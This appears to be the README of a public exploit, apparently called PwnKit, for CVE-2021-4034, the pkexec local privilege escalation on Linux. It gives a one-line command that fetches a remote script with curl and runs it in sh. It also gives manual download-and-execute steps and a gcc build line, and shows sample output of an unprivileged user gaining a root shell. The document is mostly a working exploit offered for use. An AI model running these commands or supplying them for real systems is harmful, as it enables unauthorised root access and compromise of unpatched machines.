CVE

CVE-2021-4034 - Pkexec Local Privilege Escalation

Self-contained exploit for CVE-2021-4034 - Pkexec Local Privilege Escalation

Usage

Should work out of the box on vulnerable Linux distributions based on Ubuntu, Debian, Fedora, and CentOS.

sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"

example

Manually

curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
chmod +x ./PwnKit
./PwnKit # interactive shell
./PwnKit 'id' # single command

example

Patched

Running the exploit against patched versions will yield the following output.

example

Building Pwnkit

gcc -shared PwnKit.c -o PwnKit -Wl,-e,entry -fPIC

Pre-built below:

  • PwnKit (17 kb)
  • Examples

    [email protected]:~$ id
    uid=1338(unpriv_user) gid=1338(unpriv_user) groups=1338(unpriv_user)
    [email protected]:~$ ./PwnKit 
    [email protected]:~# id
    uid=0(root) gid=0(root) groups=0(root),1338(unpriv_user)
    

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